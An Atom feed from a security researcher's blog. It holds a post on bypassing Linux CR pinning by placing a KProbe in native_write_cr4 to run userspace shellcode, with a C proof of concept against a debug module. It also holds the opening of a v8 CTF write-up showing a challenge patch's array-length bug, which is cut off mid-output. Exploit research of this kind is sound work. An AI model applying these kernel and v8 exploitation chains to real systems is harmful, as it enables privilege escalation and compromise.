<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.3.2">Jekyll</generator><link href="https://zolutal.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://zolutal.github.io/" rel="alternate" type="text/html" /><updated>2026-02-11T17:46:00+00:00</updated><id>https://zolutal.github.io/feed.xml</id><title type="html">zolutal’s blog</title><subtitle>systems hacking</subtitle><author><name>Jennifer Miller</name></author><entry><title type="html">Revisiting Two-Shot Kernel Shellcode Execution From Control Flow Hijacking</title><link href="https://zolutal.github.io/two-shot-kernel-shellcode/" rel="alternate" type="text/html" title="Revisiting Two-Shot Kernel Shellcode Execution From Control Flow Hijacking" /><published>2026-02-10T00:00:00+00:00</published><updated>2026-02-10T00:00:00+00:00</updated><id>https://zolutal.github.io/two-shot-kernel-shellcode</id><content type="html" xml:base="https://zolutal.github.io/two-shot-kernel-shellcode/"><![CDATA[<p>One of the inspirations for my work on the <a href="https://www.usenix.org/system/files/usenixsecurity25-miller.pdf">System Register Hijacking</a> paper was <a href="https://projectzero.google/2017/05/exploiting-linux-kernel-via-packet.html">this blog post</a> by Project Zero written by Andrey Konovalov.
In the blog post he describes a method of bypassing SMEP/SMAP by using the <code class="language-plaintext highlighter-rouge">native_write_cr4</code> function of the kernel, which at the time effectively did <code class="language-plaintext highlighter-rouge">mov cr4, rdi; ret;</code>.
He redirects control flow to <code class="language-plaintext highlighter-rouge">native_write_cr4</code> once to disable SMEP/SMAP then triggers control flow hijacking a second time to execute userspace shellcode.</p>

<p>Following that blog post a mitigation was introduced into the Linux that is commonly referred to as “CR Pinning”.
Essentially, it is a mitigation that modifies the way the <code class="language-plaintext highlighter-rouge">native_write_cr[0,4]</code> functions are structured to prevent the kind of misuse shown off by the blog post.</p>

<p>Currently the <code class="language-plaintext highlighter-rouge">native_write_cr4</code> function looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">const</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr4_pinned_mask</span> <span class="o">=</span> <span class="n">X86_CR4_SMEP</span> <span class="o">|</span> <span class="n">X86_CR4_SMAP</span> <span class="o">|</span> <span class="n">X86_CR4_UMIP</span> <span class="o">|</span>
					     <span class="n">X86_CR4_FSGSBASE</span> <span class="o">|</span> <span class="n">X86_CR4_CET</span> <span class="o">|</span> <span class="n">X86_CR4_FRED</span><span class="p">;</span>
<span class="k">static</span> <span class="nf">DEFINE_STATIC_KEY_FALSE_RO</span><span class="p">(</span><span class="n">cr_pinning</span><span class="p">);</span>
<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">cr4_pinned_bits</span> <span class="n">__ro_after_init</span><span class="p">;</span>

<span class="p">...</span>

<span class="kt">void</span> <span class="n">__no_profile</span> <span class="nf">native_write_cr4</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">val</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">bits_changed</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

<span class="nl">set_register:</span>
	<span class="n">asm</span> <span class="k">volatile</span><span class="p">(</span><span class="s">"mov %0,%%cr4"</span><span class="o">:</span> <span class="s">"+r"</span> <span class="p">(</span><span class="n">val</span><span class="p">)</span> <span class="o">:</span> <span class="o">:</span> <span class="s">"memory"</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">static_branch_likely</span><span class="p">(</span><span class="o">&amp;</span><span class="n">cr_pinning</span><span class="p">))</span> <span class="p">{</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">((</span><span class="n">val</span> <span class="o">&amp;</span> <span class="n">cr4_pinned_mask</span><span class="p">)</span> <span class="o">!=</span> <span class="n">cr4_pinned_bits</span><span class="p">))</span> <span class="p">{</span>
			<span class="n">bits_changed</span> <span class="o">=</span> <span class="p">(</span><span class="n">val</span> <span class="o">&amp;</span> <span class="n">cr4_pinned_mask</span><span class="p">)</span> <span class="o">^</span> <span class="n">cr4_pinned_bits</span><span class="p">;</span>
			<span class="n">val</span> <span class="o">=</span> <span class="p">(</span><span class="n">val</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">cr4_pinned_mask</span><span class="p">)</span> <span class="o">|</span> <span class="n">cr4_pinned_bits</span><span class="p">;</span>
			<span class="k">goto</span> <span class="n">set_register</span><span class="p">;</span>
		<span class="p">}</span>
		<span class="cm">/* Warn after we've corrected the changed bits. */</span>
		<span class="n">WARN_ONCE</span><span class="p">(</span><span class="n">bits_changed</span><span class="p">,</span> <span class="s">"pinned CR4 bits changed: 0x%lx!?</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
			  <span class="n">bits_changed</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is a global which specifies the pinned values of the register <code class="language-plaintext highlighter-rouge">cr4_pinned_bits</code> and a mask the specifies which bits of the register are affected by the <code class="language-plaintext highlighter-rouge">CR Pinning</code> mitigation.
if you attempt to hijack control flow to this function, the cr4 register will be overwritten but then the following code will reset the values of the pinned bits according to the <code class="language-plaintext highlighter-rouge">cr4_pinned_bits</code> global.</p>

<p>While I was working on <a href="https://www.usenix.org/system/files/usenixsecurity25-miller.pdf">System Register Hijacking</a>, we did find a pretty clean gadget for writing cr4 elsewhere in the kernel, in <code class="language-plaintext highlighter-rouge">sev_modify_cbit</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;sev_verify_cbit+69&gt;:	mov    cr4,rsi
&lt;sev_verify_cbit+72&gt;:	je     0xffffffff810003f7 &lt;sev_verify_cbit+87&gt;
&lt;sev_verify_cbit+74&gt;:	xor    rsp,rsp
&lt;sev_verify_cbit+77&gt;:	sub    rsp,0x1000
&lt;sev_verify_cbit+84&gt;:	hlt
&lt;sev_verify_cbit+85&gt;:	jmp    0xffffffff810003f4 &lt;sev_verify_cbit+84&gt;
&lt;sev_verify_cbit+87&gt;:	mov    rax,rdi
&lt;sev_verify_cbit+90&gt;:	jmp    0xffffffff82142cc0 &lt;srso_alias_return_thunk&gt;
</code></pre></div></div>

<p>Assuming the flags register is in the correct state you effectively get a <code class="language-plaintext highlighter-rouge">mov cr4, rsi; mov rax, rdi; ret;</code> from this function.
Which is pretty good, but the requirement on the flags register for taking the conditional jump kind of sucks, it means there are some callsites it just won’t work from unless you get ROP first and modify the flags.</p>

<p>So I started wondering, is there another way of getting around the <code class="language-plaintext highlighter-rouge">CR Pinning</code> mitigation?</p>

<h1 id="mind-the-gap">Mind The Gap</h1>

<p>The CR Pinning mitigation is… honestly kind of a strange one.
You are actually able to overwrite cr4 but then it sets it to a fixed up value several instructions later.
Though, I don’t think there is a better way to implement the mitigation, if you have a <code class="language-plaintext highlighter-rouge">mov cr4, r..</code> instruction anywhere in the kernel then architecturally you can’t really stop someone from hijacking control flow to it (CFI aside, I suppose).
So doing this fixup after the write occurs is about the best that can be done.</p>

<p>But it is still really interesting to me that there is a “gap” between you overwriting cr4 and it being fixed.
In theory the kernel could even be preempted by a timer interrupt in the middle of that gap and execute other code while using a hijacked cr4 value before continuing to the code that sets the pinned bits.</p>

<p>The preemption case depends on a very tight window though, given how few instructions are in that gap, making it impractical to use.</p>

<p>But what if there was a way to reliably run code in that window?</p>

<h1 id="kprobing">KProbing</h1>

<p>As it turns out the kernel has an API called <a href="https://docs.kernel.org/trace/kprobes.html">KProbes</a> that allows a breakpoint instruction to be inserted into kernel code at run time for tracing reasons, and provided handler functions will be called before and after stepping over the breakpoint. This API is privilleged, but assuming we have control flow hijacking though we can just call it directly.</p>

<p>The API is pretty simple, you can register a kprobe via the <code class="language-plaintext highlighter-rouge">register_kprobe</code> function, which takes one argument <code class="language-plaintext highlighter-rouge">struct kprobe *</code>.
The kprobe struct has a field for setting the address you want the breakpoint on (alternatively, you can provide a symbol name and an offset), as well as the addresses for the <code class="language-plaintext highlighter-rouge">pre_handler</code> and <code class="language-plaintext highlighter-rouge">post_handler</code> callbacks.</p>

<p>If we register a KProbe in the middle of the <code class="language-plaintext highlighter-rouge">native_write_cr4</code> “gap”, we can set the pre or post handler function to a usermode address and control flow will be redirected to userspace before the cr4 value gets fixed up.</p>

<h1 id="arguments">Arguments</h1>

<p>Though to call <code class="language-plaintext highlighter-rouge">register_kprobe</code> we need control over rdi and we need the ability to forge a <code class="language-plaintext highlighter-rouge">struct kprobe</code> somewhere in kernel memory.</p>

<p>For rdi control there might be some heap allocated function table that gives you control of rdi, but I’m not aware of one. It is pretty common to control rsi though, and after looking for a bit I found there is a function called <code class="language-plaintext highlighter-rouge">devm_action_release</code> that is effectively a <code class="language-plaintext highlighter-rouge">mov rdi, [rsi]; mov rax, [rsi+0x8]; call rax;</code> gadget.
So assuming we can put an rdi and rip value somewhere in memory, we can point rsi at it and call this function to obtain rdi control.</p>

<p>Thankfully there are known ways of getting controlled data at known (or inferrable) locations in the kernel.
One of which is to just spray mmap pages, side channel physmap base, and guess an address relative to physmap base where an mmap page might be.
Another option is to use the <a href="https://github.com/n132/security-research/blob/6a09081d502e4a95011d63cb2b58fa0b21b3028b/pocs/linux/kernelctf/CVE-2025-38477_cos/docs/novel-techniques.md#leave-payload-next-to-kernel-resource-nperm">NPerm</a> technique found by n132, which allows you to get data relative to the kernel image.</p>

<h1 id="draw-the-rest-of-the-owl">Draw the Rest of the Owl</h1>

<p>So given that we can redirect control flow in the middle of <code class="language-plaintext highlighter-rouge">native_write_cr4</code> (you could also target <code class="language-plaintext highlighter-rouge">sev_verify_cbit</code>), all thats left is to put it together.
I PoC’d it out with a kernel module, but the same idea could be applied to an actual exploit.</p>

<p>The ioctl command hijacks control flow with two arguments according to the <code class="language-plaintext highlighter-rouge">arb_call_req</code> struct provided as an argument.
The first argument is set to 0xdeadbeef in both cases because I didn’t want to assume rdi control.</p>

<p>The complete PoC can be found <a href="/assets/two-shot-shellcode/exploit/exploit.c">here</a>, but here is the main logic of it:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// used by devm_action_release gadget</span>
<span class="k">struct</span> <span class="n">pc_arg</span> <span class="p">{</span>
    <span class="n">u64</span> <span class="n">a0</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">pc</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">nperm_payload</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">kprobe</span> <span class="n">kp</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">pc_arg</span> <span class="n">pa1</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">pc_arg</span> <span class="n">pa2</span><span class="p">;</span>
<span class="p">};</span>

<span class="c1">// Control flow returns here</span>
<span class="kt">void</span> <span class="nf">from_kernel</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">int</span> <span class="n">uid</span> <span class="o">=</span> <span class="n">getuid</span><span class="p">();</span>
    <span class="kt">char</span> <span class="n">flag</span><span class="p">[</span><span class="mh">0x20</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span>
    <span class="kt">int</span> <span class="n">flag_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/flag"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span>
    <span class="n">read</span><span class="p">(</span><span class="n">flag_fd</span><span class="p">,</span> <span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">));</span>
    <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">flag</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">flag</span><span class="p">));</span>

    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{}</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">struct</span> <span class="n">arb_call_req</span> <span class="n">req</span><span class="p">;</span>
    <span class="n">u64</span> <span class="n">kaslr_base</span> <span class="o">=</span> <span class="mh">0xffffffff81000000</span><span class="p">;</span>
    <span class="n">u32</span> <span class="n">dbg</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/proc/dbg-mod"</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>

    <span class="n">sandbox</span><span class="p">();</span>
    <span class="n">save_state</span><span class="p">();</span>

    <span class="c1">// address of some controlled data placed by nperm.</span>
    <span class="n">u64</span> <span class="n">nperm_addr_guess</span> <span class="o">=</span> <span class="mh">0xffffffff84c11000</span><span class="p">;</span>

    <span class="k">struct</span> <span class="n">nperm_payload</span> <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="p">.</span><span class="n">kp</span> <span class="o">=</span> <span class="p">{</span>
            <span class="p">.</span><span class="n">addr</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0xffffffff8107220e</span><span class="p">,</span> <span class="c1">// in the middle of `native_write_cr4`</span>
            <span class="p">.</span><span class="n">pre_handler</span> <span class="o">=</span> <span class="n">escalate_privs</span><span class="p">,</span> <span class="c1">// userspace shellcode</span>
            <span class="p">.</span><span class="n">post_handler</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0xdeadbeefcafeb0ba</span><span class="p">,</span>
        <span class="p">},</span>
        <span class="p">.</span><span class="n">pa1</span> <span class="o">=</span> <span class="p">{</span>
            <span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="mh">0xffffffff812542d0</span><span class="p">,</span> <span class="c1">// register_kprobe</span>
            <span class="p">.</span><span class="n">a0</span> <span class="o">=</span> <span class="n">nperm_addr_guess</span><span class="p">,</span>
        <span class="p">},</span>
        <span class="p">.</span><span class="n">pa2</span> <span class="o">=</span> <span class="p">{</span>
            <span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="mh">0xffffffff81072200</span><span class="p">,</span> <span class="c1">// native_write_cr4</span>
            <span class="p">.</span><span class="n">a0</span> <span class="o">=</span> <span class="mh">0x450ef0</span><span class="p">,</span> <span class="c1">// PKE OSXSAVE FSGSBASE UMIP OSXMMEXCPT OSFXSR PGE MCE PAE PSE</span>
        <span class="p">},</span>
    <span class="p">};</span>

    <span class="n">nperm</span><span class="p">(</span><span class="o">&amp;</span><span class="n">payload</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">payload</span><span class="p">));</span>

    <span class="c1">// gadget to get control of rdi</span>
    <span class="n">u64</span> <span class="n">devm_action_release</span> <span class="o">=</span> <span class="mh">0xffffffff81b24770</span><span class="p">;</span>

    <span class="n">req</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">devm_action_release</span><span class="p">;</span>
    <span class="n">req</span><span class="p">.</span><span class="n">a0</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span><span class="p">;</span>
    <span class="n">req</span><span class="p">.</span><span class="n">a1</span> <span class="o">=</span> <span class="n">nperm_addr_guess</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">nperm_payload</span><span class="p">,</span> <span class="n">pa1</span><span class="p">);</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">dbg</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">req</span><span class="p">);</span>

    <span class="n">req</span><span class="p">.</span><span class="n">pc</span> <span class="o">=</span> <span class="n">devm_action_release</span><span class="p">;</span>
    <span class="n">req</span><span class="p">.</span><span class="n">a0</span> <span class="o">=</span> <span class="mh">0xdeadbeef</span><span class="p">;</span>
    <span class="n">req</span><span class="p">.</span><span class="n">a1</span> <span class="o">=</span> <span class="n">nperm_addr_guess</span> <span class="o">+</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">nperm_payload</span><span class="p">,</span> <span class="n">pa2</span><span class="p">);</span>
    <span class="n">ioctl</span><span class="p">(</span><span class="n">dbg</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">req</span><span class="p">);</span>

    <span class="c1">// Control flow continues in from_kernel()</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<h1 id="conclusion">Conclusion</h1>

<p>I think getting shellcode execution is one of those things in both kernel and userspace that is fun to achieve just because being able to run arbitrary code very completely “owns” the system/program.
This technique manages to achieve shellcode execution in the same number of ‘control flow hijacks’ as the old 2017 blog post while going through the same function, and I think that’s neat.</p>

<p>In theory there are other places this KProbe idea could be applied to, any series of instructions can become a gadget by placing a KProbe immediately after it and using the callbacks to chain it to another code location.
Unfortunately, the KProbe callback functions run with the original register state stored in <code class="language-plaintext highlighter-rouge">pt_regs</code> limiting the effectiveness of chaining multiple kprobes together as a kind of KProbe Oriented Programming (KPOP?).
It could still be possible to use percpu variables or other non-register means to store the results of computations, so don’t give up on KPOP yet :p</p>

<p>This was kind of just a silly idea I wanted to explore, but I learned a lot about KProbes and got to use NPerm for the first time.
Anyways, thanks for reading, I hope you learned something from this too!</p>]]></content><author><name>Jennifer Miller</name></author><category term="Exploitation" /><category term="Linux" /><summary type="html"><![CDATA[One of the inspirations for my work on the System Register Hijacking paper was this blog post by Project Zero written by Andrey Konovalov. In the blog post he describes a method of bypassing SMEP/SMAP by using the native_write_cr4 function of the kernel, which at the time effectively did mov cr4, rdi; ret;. He redirects control flow to native_write_cr4 once to disable SMEP/SMAP then triggers control flow hijacking a second time to execute userspace shellcode.]]></summary></entry><entry><title type="html">Securinets Quals 2025: Sukunahikona (v8 Exploitation)</title><link href="https://zolutal.github.io/securinets-sukunahikona/" rel="alternate" type="text/html" title="Securinets Quals 2025: Sukunahikona (v8 Exploitation)" /><published>2025-10-07T00:00:00+00:00</published><updated>2025-10-07T00:00:00+00:00</updated><id>https://zolutal.github.io/securinets-sukunahikona</id><content type="html" xml:base="https://zolutal.github.io/securinets-sukunahikona/"><![CDATA[<p>I played Securinets Quals this weekend with Shellphish; we ended up placing 7th, qualifying us for finals! When I logged on to play, all of the released pwn was already solved or close to solved by @vy, except for the v8 challenge. Despite having never touched v8 pwn before, I decided to give it a go, and I managed to solve it. This is my writeup for that challenge :)</p>

<p>Here is the challenge description:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>i ran out of descriptions . Just solve it ig ??!!
</code></pre></div></div>

<p>Which… wasn’t very helpful.</p>

<p>It came with two files, “to_give.zip” and “patch”:</p>
<ul>
  <li><a href="/assets/securinets-sukunahikona/to_give.zip">to_give.zip</a></li>
  <li><a href="/assets/securinets-sukunahikona/patch">patch</a></li>
</ul>

<h1 id="getting-started">Getting Started</h1>

<p>Here are the contents of the “to_give.zip” file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>docker-compose.yml
server/d8
server/args.gn
server/entrypoint.sh
server/flag.txt
server/REVISION
server/Dockerfile
server/server.py
server/snapshot_blob.bin
</code></pre></div></div>

<p>The most interesting thing here is the “d8” binary which is used to run a debug version of v8 called “d8” that lets us access a JavaScript REPL and run JS files. This d8 binary is what the patch file provided with the challenge is applied to and what we need to exploit.</p>

<p>The patch file is a little long just because I think somethine went wrong when the author created it so the diff kind of repeats itself. But when we look at it, the first change we see is this:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index ea45a7ada6b..2552c286b60 100644
</span><span class="gd">--- a/src/builtins/builtins-array.cc
</span><span class="gi">+++ b/src/builtins/builtins-array.cc
</span><span class="p">@@ -624,6 +624,45 @@</span> BUILTIN(ArrayShift) {
<span class="err">
</span>   return GenericArrayShift(isolate, receiver, length);
 }
<span class="gi">+BUILTIN(ArrayShrink) {
+  HandleScope scope(isolate);
+  Factory *factory = isolate-&gt;factory();
+  Handle&lt;Object&gt; receiver = args.receiver();
+
+  if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast&lt;JSArray&gt;(*receiver))) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory-&gt;NewStringFromAsciiChecked("Oldest trick in the book"))
+    );
+  }
+
+  Handle&lt;JSArray&gt; array = Cast&lt;JSArray&gt;(receiver);
+
+  if (args.length() != 2) {
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory-&gt;NewStringFromAsciiChecked("specify length to shrink to "))
+    );
+  }
+
+
+  uint32_t old_len = static_cast&lt;uint32_t&gt;(Object::NumberValue(array-&gt;length()));
+
+  Handle&lt;Object&gt; new_len_obj;
+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, new_len_obj, Object::ToNumber(isolate, args.at(1)));
+  uint32_t new_len = static_cast&lt;uint32_t&gt;(Object::NumberValue(*new_len_obj));
+
+  if (new_len &gt;= old_len){
+    THROW_NEW_ERROR_RETURN_FAILURE(
+      isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
+      factory-&gt;NewStringFromAsciiChecked("invalid length"))
+    );
+  }
+
+  array-&gt;set_length(Smi::FromInt(new_len));
+
+  return ReadOnlyRoots(isolate).undefined_value();
+}
</span></code></pre></div></div>

<p>What this patch does is add a builtin to arrays called “shrink” that takes one argument and resizes the array.
So you can do something like this:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">];</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</code></pre></div></div>

<p>and this will resize the array to have a length of one.</p>

<p>At first glance this seems fine, but as my teammates @Bena and @elemental had realized, when the shrink function sets the length it doesn’t actually change the number of elements it just updates the length parameter of the JSArray object.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nx">array</span><span class="o">-&gt;</span><span class="nf">set_length</span><span class="p">(</span><span class="nx">Smi</span><span class="p">::</span><span class="nc">FromInt</span><span class="p">(</span><span class="nx">new_len</span><span class="p">));</span> <span class="c1">// this is not correct</span>
</code></pre></div></div>

<p>But this on it’s own isn’t that interesting, we just can’t access the items beyond the end of the array length even though they still exist.</p>

<p>I learned from my teammates that we can visualize this behavior via the <code class="language-plaintext highlighter-rouge">%DebugPrint()</code> command if we pass <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> to the d8 binary:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">.</span><span class="o">/</span><span class="nx">d8</span> <span class="o">--</span><span class="nx">allow</span><span class="o">-</span><span class="nx">natives</span><span class="o">-</span><span class="nx">syntax</span>
<span class="nx">V8</span> <span class="nx">version</span> <span class="mf">12.8</span><span class="p">.</span><span class="mi">0</span> <span class="p">(</span><span class="nx">candidate</span><span class="p">)</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">];</span>
<span class="kc">undefined</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="o">%</span><span class="nc">DebugPrint</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span>
<span class="nx">DebugPrint</span><span class="p">:</span> <span class="mh">0x80d00042bbd</span><span class="p">:</span> <span class="p">[</span><span class="nx">JSArray</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">map</span><span class="p">:</span> <span class="mh">0x080d001caf45</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_SMI_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span> <span class="p">[</span><span class="nx">FastProperties</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">prototype</span><span class="p">:</span> <span class="mh">0x080d001cb1c5</span> <span class="o">&lt;</span><span class="nx">JSArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x080d001d3571</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">[</span><span class="nc">PACKED_SMI_ELEMENTS </span><span class="p">(</span><span class="nx">COW</span><span class="p">)]</span>
 <span class="o">-</span> <span class="nx">length</span><span class="p">:</span> <span class="mi">4</span>
 <span class="o">-</span> <span class="nx">properties</span><span class="p">:</span> <span class="mh">0x080d00000725</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">All</span> <span class="nx">own</span> <span class="nf">properties </span><span class="p">(</span><span class="nx">excluding</span> <span class="nx">elements</span><span class="p">):</span> <span class="p">{</span>
    <span class="mh">0x80d00000d99</span><span class="p">:</span> <span class="p">[</span><span class="nb">String</span><span class="p">]</span> <span class="k">in</span> <span class="nx">ReadOnlySpace</span><span class="p">:</span> <span class="err">#</span><span class="nx">length</span><span class="p">:</span> <span class="mh">0x080d00025fed</span> <span class="o">&lt;</span><span class="nx">AccessorInfo</span> <span class="nx">name</span><span class="o">=</span> <span class="mh">0x080d00000d99</span> <span class="o">&lt;</span><span class="nb">String</span><span class="p">[</span><span class="mi">6</span><span class="p">]:</span> <span class="err">#</span><span class="nx">length</span><span class="o">&gt;</span><span class="p">,</span> <span class="nx">data</span><span class="o">=</span> <span class="mh">0x080d00000069</span> <span class="o">&lt;</span><span class="kc">undefined</span><span class="o">&gt;&gt;</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">accessor</span> <span class="nx">descriptor</span><span class="p">,</span> <span class="nx">attrs</span><span class="p">:</span> <span class="p">[</span><span class="nx">W__</span><span class="p">]),</span> <span class="nx">location</span><span class="p">:</span> <span class="nx">descriptor</span>
 <span class="p">}</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x080d001d3571</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">{</span>
           <span class="mi">0</span><span class="p">:</span> <span class="mi">1</span>
           <span class="mi">1</span><span class="p">:</span> <span class="mi">2</span>
           <span class="mi">2</span><span class="p">:</span> <span class="mi">3</span>
           <span class="mi">3</span><span class="p">:</span> <span class="mi">4</span>
 <span class="p">}</span>
<span class="p">...</span>
<span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">]</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="kc">undefined</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="o">%</span><span class="nc">DebugPrint</span><span class="p">(</span><span class="nx">arr</span><span class="p">)</span>
<span class="nx">DebugPrint</span><span class="p">:</span> <span class="mh">0x80d00042bbd</span><span class="p">:</span> <span class="p">[</span><span class="nx">JSArray</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">map</span><span class="p">:</span> <span class="mh">0x080d001caf45</span> <span class="o">&lt;</span><span class="nb">Map</span><span class="p">[</span><span class="mi">16</span><span class="p">](</span><span class="nx">PACKED_SMI_ELEMENTS</span><span class="p">)</span><span class="o">&gt;</span> <span class="p">[</span><span class="nx">FastProperties</span><span class="p">]</span>
 <span class="o">-</span> <span class="nx">prototype</span><span class="p">:</span> <span class="mh">0x080d001cb1c5</span> <span class="o">&lt;</span><span class="nx">JSArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">elements</span><span class="p">:</span> <span class="mh">0x080d001d3571</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">&gt;</span> <span class="p">[</span><span class="nc">PACKED_SMI_ELEMENTS </span><span class="p">(</span><span class="nx">COW</span><span class="p">)]</span>
 <span class="o">-</span> <span class="nx">length</span><span class="p">:</span> <span class="mi">1</span>     <span class="o">&lt;--------</span> <span class="nx">LENGTH</span> <span class="nx">IS</span> <span class="nx">NOW</span> <span class="nx">ONE</span>
 <span class="o">-</span> <span class="nx">properties</span><span class="p">:</span> <span class="mh">0x080d00000725</span> <span class="o">&lt;</span><span class="nx">FixedArray</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&gt;</span>
 <span class="o">-</span> <span class="nx">All</span> <span class="nx">own</span> <span class="nf">properties </span><span class="p">(</span><span class="nx">excluding</span> <span class="nx">elements</span><span class="p">):</span> <span class="p">{</span>
